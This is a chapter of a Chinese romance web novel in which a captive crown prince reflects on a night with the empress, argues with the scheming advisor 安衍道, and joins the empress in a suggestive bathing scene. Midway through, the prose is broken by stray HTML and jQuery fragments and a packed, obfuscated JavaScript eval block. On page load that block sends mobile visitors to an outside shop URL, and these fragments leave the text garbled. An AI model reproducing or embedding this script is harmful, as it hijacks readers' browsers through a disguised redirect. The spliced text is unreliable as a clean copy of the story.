23. 江山如此多娇
作品:《坏女人,但万人迷》 日上三竿。
光线透过幔帐,在楚凌珩脸上投下疏密的暗影。他睫毛轻颤,从轻薄锦被中醒来。
床畔空着,但熟悉的龙延香还丝丝缕缕残留着,叫人眷恋。
昨夜的荒唐潮水般涌上脑海,楚凌珩脸颊腾地红了个彻底,恨恨地用被子捂住脸。
初经人事,他此刻腰酸骨疼,腿根也有些发涨。
更恼的是,自己不仅全程沉浸在那份陌生又炽热的交缠里,没有半分反抗,还……还格外配合。
而且想起之前种种,身体竟还有抑制不住的颤栗和酥麻。
简直……耻辱至极!
凌乱衣物散落一地,楚凌珩没有寻到外袍,只好穿上里衣。他走到铜镜前,颈侧的吻痕和咬印密密麻麻,如同涂抹了大片胭脂。
这人……简直像只不知餮足的野兽一样。
回忆起对方恣意的模样,楚凌珩气恼之余,耳根又莫名发热。
羞怒、悸动、气苦,还有一丝隐秘的失落,种种情绪搅成一团,让楚凌珩心绪混乱,不知该如何是好。
她走的时候怎么也不说一声!
完事便一走了之,将自己一个人留在这儿,简直混账至极。
偏偏……自己还隐隐期待着,她快些回来。
楚凌珩懊恼更甚,他拢了拢凌乱的墨发,用玉簪随意束起。
桌上放了漱口的茶水和温热的丝帕,下首摆着锦盒,打开一看,是一套崭新的红色衣袍,刺绣精细,尺寸恰好。
朱红里衣、鞋袜、腰束也都备好,连亵裤也一并摆放得整整齐齐。
楚凌珩面庞又不受控制地烫了一瞬,他暗骂自己不争气,不就是一副衣物,有什么可害臊的!
更何况,该看该摸的,都已经被那混蛋看光了、摸遍了。
也没什么好遮遮掩掩的!
怀着复杂纠结的心情,楚凌珩整整磨蹭了半柱香时间,才穿戴齐整走出寝殿。
宫人候在院中,见楚凌珩出来,立刻躬身行礼。“陛下吩咐虜才在此伺候。君后有任何需求,只管开口便是。”
“她人呢?”楚凌珩有些赌气地问。
宫人仿佛知晓他的别扭,微笑道:“陛下下了早朝,就去勤政殿处理公务了。”
“不过临走时特意吩咐,君后身子不适,不用急着出殿,先用些早膳,休养精神。晚些时辰陛下便会来陪同君后。”
楚凌珩微微抿唇,心下别扭缓解些许。她安排得倒是周到,不像是贪欢薄幸之人。
楚凌珩掩饰般轻咳一声,“传早膳罢。”
昨日几乎一整天都没进食,楚凌珩这会儿确实腹中空空,饿得厉害。
膳桌上都是些清淡滋补的粥品和小菜,但搭配精巧,味道极好。或许是心情好转,楚凌珩一扫之前的郁闷,胃口大开。
宫人撤去食盘,又递上一碗熬好的补药,“这是陛下命太医专门调配的,说是有助于缓解君后体虚之态。”
楚凌珩:“……”
谁虚?他吗?
昨晚动的明明是自己!
尤其还折腾了一整夜,第一次就能如此,他都算得上是天纵奇才、体力过人了!
宫人固执地端着,大有楚凌珩不喝就要一直端下去的架势,他盯着那黑漆漆的药碗犹豫半晌,硬着头皮饮下。
晚上定要那混蛋领教一下自己的“实力”,免得她不知深浅,胡言乱语。
补药喝下去,气血似乎顺畅了些,小腿的酸痛也舒缓不少。
宫人体贴地奉上蜜饯果茶,楚凌珩用完,便在院中随意走了几圈。
天光明媚,沧溟宫海棠花开得正盛,清风拂过,流香扑鼻。
转角处有一座假山,嶙峋奇诡,修得颇具匠心。楚凌珩刚寻了一处石凳坐下,就听见一道冷淡平稳的嗓音在耳边响起。
“太子殿下好兴致,身处别朝也能闲适赏景。”
安衍道不疾不徐地从花树后走出。
看着那标志性的白发白睫,还有那对冰冷锐利的银色瞳眸,楚凌珩猛地站起。
“呵,本太子就知晓是你在搞鬼,竟把我捆到东昇国来!说,你意欲何为?”
安衍道打量楚凌珩,对方红润微肿的唇,遮不住情意的眉宇,还有领口露出的痕迹,都昭示着他只是表面凶狠,实则内里正洋溢着甜蜜。
真是个没出息的。
安衍道神色不变,眼底却浮过一丝轻嘲。
他没有接楚凌珩的话,反而漫不经心地捻下花瓣,反问:“昨宵太子殿下不是很尽兴么?”
“床事欢愉,气色甚好。依安某看,当是一夜酣畅,方能如此。”
一番话说得云淡风轻,可每一句都正戳在楚凌珩最敏感的软肋上,他面皮又涨红几分,手中若有软剑,肯定早就直指安衍道咽喉。
他咬牙切齿:“一派胡言!本太子对她并无兴趣。……不过是形式所迫,无奈应允罢了!”
安衍道轻轻叹息,“殿下无须口是心非。女欢男爱之事,乃人之常情,又何故羞于承认?”
“住嘴!”楚凌珩怒极,运足内力,朝安衍道挥出一掌。
安衍道脚尖点地,身形瞬间往后飘出丈许,“太子殿下,别忘记了你现在身处东昇国境。”
楚凌珩动作僵在半空,恨恨收回。
他压下满腔怒意,“你到底有何企图?想利用我牵制东昇国?还是将我困在这里,好在西宸正大光明实行你的骗术?”
安衍道负手而立,长发随风轻扬,“带太子殿下来一观东昇大好河山,也是为两国增进友邦之谊,如此而已。”
楚凌珩冷笑一声,“鬼话连篇!不必再故弄玄虚,本太子不会上你的当。有话直说!”
安衍道摇头,“殿下误会了。安某若想对西宸不利,何必费如此周折?”
“太子殿下也知,东昇和西宸势不两立多年,即使表面虚与委蛇,私下却各有算计。如今西宸虽暂处于劣势,但也未到绝境。太子殿下若能改变两国态势,该是再好不过。”
“……而安某,只想助殿下一臂之力罢了。”
楚凌珩目光微闪,“你想做什么?”
“殿下只需踏出第一步,剩下的,自会水到渠成。”
楚凌珩沉默。
西宸看似风平浪静,可内里早已危机四伏、人心浮动,若是能借此机会扭转与东昇僵持的局面……
未必不是一步好棋。
从个人私心来说,楚凌珩确实想助西宸重返强盛。
只是……想到那人的温柔相待,以及彼此交融的契合,他心底还是一片乱麻。
楚凌珩敛下心思,“暂且相信你所言,本太子会斟酌考虑,但倘若发现你有任何欺瞒或是不利西宸之举,便绝不轻饶。”
“这是当然。”安衍道拱手,“还请殿下安心,安某并无害人之心。”
瞧着他坦然磊落的样子,楚凌珩忍不住出言嘲讽:“安心?你一个假面人,说什么都不可全信。”
“我不过奉命行事。太子殿下与其怀疑安某,不如寻陛下验证。”
楚凌珩薄唇勾起,讥诮地笑了。
他爹他还不知道什么德行,对长生秘术痴迷得几近疯狂。更是将安衍道奉为国师,言听计从,有什么好验证的?
“本太子自有判断,无需多言。”
楚凌珩转身要走,忽然又回头盯着安衍道,目光灼灼,“还有,你务必要清楚一件事。”
“休得干涉我和她的一切。”
安衍道面上笑意稍敛,顿了顿,点头道:“只要不危及西宸,安某不会干预。”
“但还望殿下切记,此为有益西宸之事,安某绝无二心。殿下若有任何决定,随时知会安某便是。”
楚凌珩不置可否,懒得再与他多说,拂袖返回寝殿。
安衍道望着那背影,眸光幽深,许久才隐入林中。
……
等到日落时分,楚凌珩也没见到游祀语的影子。
宫人倒是传话,称九华池最近才建好,陛下说若是君后有意,便做第一个入池之人。
楚凌珩在西宸有专门的太子汤池,自然不觉特别和新奇。只是她把“第一”的名头留给自己,还是令他有种被特殊对待的微妙欣喜。
去就去,反正闲着也是无聊。
水雾蒸腾,氤氲轻绕。
月色透过纱帐朦朦胧胧地映在水面,星点轻晃,暗香浮动。
岸边青石上放着酒具果盘,琉璃灯盏盏点亮,照出一地旖旎。
楚凌珩褪去衣衫,踏进池中。温暖的水流令人身心舒泰,疲乏尽消,他靠在池边阖上双眸,迷迷糊糊地睡了过去。
不知过了多久,水波轻漾,带动热意,引得楚凌珩惊醒。
一睁眼,便对上游祀语那双盈盈笑意的眸。她一身金纹玄色长服,收敛了不怒自威的东昇之主气势,却添了一份特有的慵懒和邪魅。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263815|197291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
只是静静站着便与周遭景色融为一体,仿佛那摇曳的星光、细细流淌的泉水,都是为她一人做的陪衬。
楚凌珩喉头滚动,几乎是下意识地想要直起身子,都快脱离水面却又记起自己未着寸缕。
他倏地缩在水中,背回池壁,恨不得找个地缝钻进去。
游祀语看见楚凌珩脸红如火烧又手忙脚乱的样子,不禁失笑道:“君后怕什么,朕又不是没瞧过,何必这般拘谨?”
她一步步靠近。
虽然之前已有过抵死缠绵,楚凌珩仍是经不起这样近距离的注视,他僵硬地往后贴,瞪她,“停,你……转过去!”
游祀语故意往前一步,凑到楚凌珩面前。“生气了?”
之后自然地握住他的手,轻声哄:“朕又不是外人。”
触手的温热让楚凌珩心跳如擂,但他可没有轻易妥协,还记得苦等一天也没见到人的憋气。
他本就不习惯等待,何况对方还迟迟未归,难免生出被忽视的不悦。
于是楚凌珩愈发理直气壮,甩开游祀语的手,没好气道:“骗子。说好了晚些过来,结果却晚到这个时候。莫不是有了别的美人相陪,才顾不上本太子。”
游祀语伸手刮了刮楚凌珩的脸颊,“乱吃什么飞醋。”
她也没怪楚凌珩的小性子,反而捉住对方的手重新缠上,“原本想早点回来,但临时有些事要处理,因此耽搁了些时辰。君后等急了?”
她的指腹柔软,轻轻摩挲着楚凌珩手背。
楚凌珩见到她的刹那,心里的气闷就消散大半,可还是嘴硬道:“我才没等你,别自作多情了。我巴不得你继续忙你的正事,最好忙到天亮才好。”
“是吗?君后的……可不是这么说的。”游祀语意有所指,清浅的笑在夜色中十分惑人。
楚凌珩绷紧身子,气息微乱,他禁不住咬唇,凶巴巴地开口:“……你少占我便宜!”
可话语毫无威慑力,更像是欲盖弥彰嗔怪。
“朕可否同君后共浴以弥补迟来之罪?”游祀语贴得更近,低头看向水面,漆黑的瞳似乎能直击人心。
楚凌珩不敢对视,不自在地移开视线,“谁、谁要跟你一起……你先回去。”
“既然君后不允,那朕便不打扰了。”游祀语没再为难楚凌珩,当真退开几步。
出乎意料的干脆令楚凌珩愣了下,发现游祀语似乎确实要离开,他反倒不是滋味起来,有些心慌地脱口而出:“不准走!你要走了今晚就别想上我的床!”
说完他就想咬掉自己的舌头。
游祀语坏笑着问:“君后改变主意了?”
楚凌珩的脸红到了耳朵尖,耳后根都发烫,他别扭地从牙缝里挤出一个字:“……嗯。”
游祀语含笑解开腰带,她的动作很慢,不急不缓,似乎有意撩拨着楚凌珩的呼吸。
衣袍滑至地面,露出雪色双臂,玉色锁骨……楚凌珩垂下眼帘,极小声地催促:“你快点成不成,我、我冷了。”
游祀语配合地宽衣入水,她亲了亲楚凌珩的面颊,“哪儿冷?朕帮君后暖暖。”
方才还坚定不移的楚凌珩,被她这一吻又搅乱了心神,差点招架不住,“你少得意,不准动手动脚、得寸进尺……也不许把水弄乱!”
偌大的浴池里洒满了花瓣,暖雾升腾,楚凌珩几缕发丝贴在颈窝,衬得容颜愈发昳丽。
游祀语轻吻那绯红的耳垂,笑着揶揄:“君后明明挺喜欢朕动手动脚、得寸进尺的……”
一句话戳破心思,楚凌珩恼羞成怒:“你再不正经就出去!”
游祀语环住楚凌珩,“那罚朕好好补偿君后可好?”
“为妻亲自替你揉腰如何?”
鼻间全是对方的香气,心也仿佛跟着融化。
楚凌珩不知不觉软下态度,到底还是没绷住,他舍不得把人推开,只好不甘不愿地环回游祀语的脖颈。
“这是补偿你才是。”他咬字模糊,小声咕哝。
游祀语凑近楚凌珩耳畔,“那朕就依君后所愿。”
她撬开楚凌珩漂亮诱人的红唇,一寸寸侵占他的口腔。
楚凌珩躲闪不及,被游祀语吻个正着,方寸大乱,节节败退,什么抵抗、警告统统抛到九霄云外。
温度、气息、水意……皆让人越发沉沦。
最终只剩下意乱情迷,半推半就地回应。
满池皆烫……

